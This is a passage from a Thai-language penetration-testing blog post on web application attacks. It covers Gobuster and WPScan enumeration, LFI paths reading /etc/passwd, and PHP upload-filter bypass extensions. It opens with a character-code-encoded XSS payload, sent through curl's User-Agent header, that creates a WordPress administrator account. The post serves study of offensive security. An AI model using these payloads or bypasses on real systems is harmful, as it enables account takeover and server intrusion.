118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger evalcode:14:9
สั่งให้ทำงาน โดยการส่ง request ผ่านคำส่ง curl:
kali@kali:~$ curl -i http://<RHOST> --user-agent"<script>eval(String.fromCharCode(118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger eval code:14:9
))</script>"\--proxy 127.0.0.1:8080
- Gobuster: Option และ ตัวอย่าง:
-e // extended mode เพื่อให้ render URL เต็ม
-k // ข้ามการตรวจสอบ SSL Certificate
-r // ตาม cedirects
-s // กำหนดค่า status codes
-b // ไม่รวม status codes
-k // ไม่สนใจ certificates
--wildcard // เซต wildcard option
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard
และเพื่อให้เห็นภาพมากยิ่งขึ้นนี่เป็นตัวอย่างเมื่อใช้ Gobuster ในการทำการโจมตี:
อย่างที่คุณผู้อ่านน่าจะทราบกันดีจากเนื้อหาด้านบนแล้วว่า Gobusterเป็นเครื่องมือในการหาและเก็บข้อมูลแบบ Brute force บน API Path โดยที่ส่วนมากชื่อของ APIนั้นจะอธิบายเกี่ยวกับฟีเจอร์ ความสามารถ และ ข้อมูลที่ใช้ในการดำเนินการ และตามด้วยหมายเลขเวอร์ชัน
โดยข้อมูลพื้นฐานนี้นั่นสามารถช่วยให้ผู้โจมตีทำการโจมตีแบบ Brute force ผ่าน Path ของ API ได้โดยใช้ Wordlist กับ ฟีเจอร์ของ Gobuster โดยที่ผู้โจมตีสามารถเรียกใช้ฟีเจอร์นี้ได้ผ่าน -p Option คู่กับไฟล์ Wordlist และ Pattern
ตัวอย่างของ pattern:
{GOBUSTER}/v1
{GOBUSTER}/v2
- โดยที่ในตัวอย่าง ผู้โจมตีใช้ “{GOBUSTER}” เพื่อเป็นตัวแปรในการแทนค่าด้วยเซตคำศัพท์ใน Wordlist เพื่อจะทำการ Matching และตามด้วยเลขเวอร์ชัน ตัวอย่างหลังจากการ Enumerate บน API ด้วย Gobuster โดยใช้ big.txt เป็น Wordlist:
kali@kali:~$ gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.50.16:5001
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Patterns: pattern (1 entries)
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/06 04:19:46 Starting gobuster indirectory enumeration mode
===============================================================
/books/v1 (Status: 200) [Size: 235]
/console (Status: 200) [Size: 1985]
/ui (Status: 308) [Size: 265] [--> http://192.168.50.16:5001/ui/]
/users/v1 (Status: 200) [Size: 241]
หลังจากทำการวิเคราะห์ผลสแกน เราจะทราบได้ว่า Gobuster ได้พบ 3 user accounts ซึ่งรวมถึง Administrative account ซึ่งเป็นข้อมูลที่ดูหน้าสนใจในการเจาะลึกเพิ่มเติม เพื่อจะหาข้อมูลที่อาจเป็นประโยชน์ ผู้โจมตีจึงทำการโจมตีแบบ Brute force อีกรอบโดยระบุถึงเป้าหมายซึ่งคือ admin user ด้วย wordlist ที่เล็กลง(small.txt)นั่นเอง และเพื่อให้แน่ใจว่า API มีความเกี่ยวข้องกับ Username ผู้โจมตีจึงเพิ่ม Path ของ API โดยการระบุ admin ซึ่งเป็น Username ต่อท้ายเข้าไป:
kali@kali:~$ gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.50.16:5001/users/v1/admin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/06 06:40:12 Starting gobuster indirectory enumeration mode
===============================================================/email (Status: 405) [Size: 142]
/password (Status:405) [Size: 142]
===============================================================
2022/04/06 06:40:35 Finished
===============================================================
และ BINGO! ผู้โจมตีพบ 2 Path ที่ซ่อนอยู่ ดังนั้นผู้โจมตีจึงทำการหาข้อมูลเพิ่มเติมโดยการใช้คำสั่ง curl หรืออื่นๆเพื่อทำการเจาะระบบต่อไป
- Additional Command for Gobuster(คำสั่งเพิ่มเติมสำหรับ Gobuster):
DNS Recon:
> gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt> gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
VHost Discovery:
> gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt> gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
Specify User Agent(ระบุ User Agent):
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux
- Additional Tools for Web Application Attack(คำสั่งเพิ่มเติมสำหรับการโจมตีเว็บแอปพลิเคชั่น):
Wordpress:
- Fuzzing:
> Create a Plugins or Templates wordlist: https://github.com/SecuritySphinx/Wp-Wordlist-Maker> Fuzzing plugins: ffuf -w <WORDLIST> -u http://<DOMAIN>/wp-content/plugins/FUZZ/readme.txt
> Fuzzing plugins:ffuf -w <WORDLIST> -u http://<DOMAIN>/wp-content/plugins/FUZZ/readme.txt
> Enumerate with WPScan:wpscan --url http://<DOMAIN>/ -e ap,vt,cb,dbe,u,m --plugins-detection aggressive --api-token <API\_TOKEN>
- Scrapping:
> Get users: curl http:domain/wp-json/wp/v2/users | jq
> Get plugins: curl -s -X GET / | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'wp-content/plugins/\*' | cut -d"'" -f2> Get themes: curl -s -X GET Domain | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'themes' | cut -d"'" -f2> Get version: curl -s -X GET Domain | grep '<meta name="generator"'
- Additional Information(ข้อมูลเพิ่มเติม): Common File Extension(สกุลไฟล์ที่พบได้บ่อย):
.txt, .bak, .php, .html, .js, .asp, .aspx
Common Picture Extension(สกุลไฟล์ที่พบได้บ่อย):
.png, .jpg, .jpeg, .gif, .bmp
Common Local File Inclusion(LFI)(Path ที่พบได้บ่อยใน LSI):
http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd
-> Path ที่ใช้ได้ไปจนถึง php เวอร์ชัน 5.3:
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00
PHP Extension Upload filter Bypasses(สกุลไฟล์ .php ที่ใช้เลี่ยงการตรวจจับ):
.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg
Extension for Upload Vulnerabilities(สกุลไฟล์ที่ใช้กับช่องโหว่การอัพโหลดในสถานการณ์ต่างๆ):
ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
SVG: Stored XSS / Server-Side Request Forgery
GIF: Stored XSS
CSV: CSV Injection
XML: XXE
AVI: Local File Inclusion / Server-Side request Forgery
HTML/JS: HTML Injection / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack
ZIP: Remote Code Exection via Local File Inclusion
PDF / PPTX: Server-Side Request Forgery / Blind XXE
ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏
อ่าน Part 2 : Information Gathering
อ่าน Part 4 : SQLi & Windows Client-Side Attacks